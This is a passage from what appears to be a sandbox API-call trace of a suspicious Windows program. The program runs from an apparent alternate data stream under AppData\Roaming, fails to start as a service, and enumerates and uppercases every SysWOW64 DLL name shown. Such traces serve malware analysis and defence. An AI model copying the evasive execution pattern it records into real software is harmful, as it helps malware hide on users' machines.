BaseAddress=0x90d268) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.695] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d278) returned 1 [0041.695] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.695] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d288) returned 1 [0041.695] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5e8) returned 1 [0041.695] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0041.695] StartServiceCtrlDispatcherW (lpServiceTable=0x53faa8*(lpServiceName="", lpServiceProc=0x3fd040)) returned 0 [0041.698] GetLastError () returned 0x427 [0041.698] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin" [0041.698] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e268 [0041.698] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x5c) returned 0x90dd28 [0041.698] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e1e0 [0041.698] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e2f0 [0041.698] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e378 [0041.698] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e400 [0041.698] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e488 [0041.698] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e510 [0041.698] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e598 [0041.698] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e620 [0041.698] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e6a8 [0041.699] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e730 [0041.699] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e7b8 [0041.699] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x100) returned 0x2217cf8 [0041.699] GetSystemWow64DirectoryW (in: lpBuffer=0x2217cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0041.699] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2217cf8) returned 1 [0041.699] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e840 [0041.699] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e840) returned 1 [0041.699] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e840 [0041.699] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x53f804, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x53f804) returned 0x7327d0 [0041.699] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.699] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.699] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.699] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.699] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.699] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.699] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.699] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.699] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0041.701] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.701] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.701] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x90c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0041.701] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.701] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.701] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.701] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.701] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.701] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0041.701] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.702] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.702] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.702] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.702] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.702] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.702] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.702] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.702] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.702] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.702] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x90c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.702] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.702] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.702] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.702] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.702] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.702] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.703] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.703] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.703] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.703] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.703] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x90c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.703] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.703] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.703] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.703] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.703] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x90c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.703] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.703] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.703] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.703] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.703] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.703] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.704] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.704] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.704] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.704] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.704] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.704] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.704] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.704] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.704] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.704] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.704] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.704] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.704] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.704] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.704] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.704] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.705] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.705] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0041.705] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.705] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.705] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 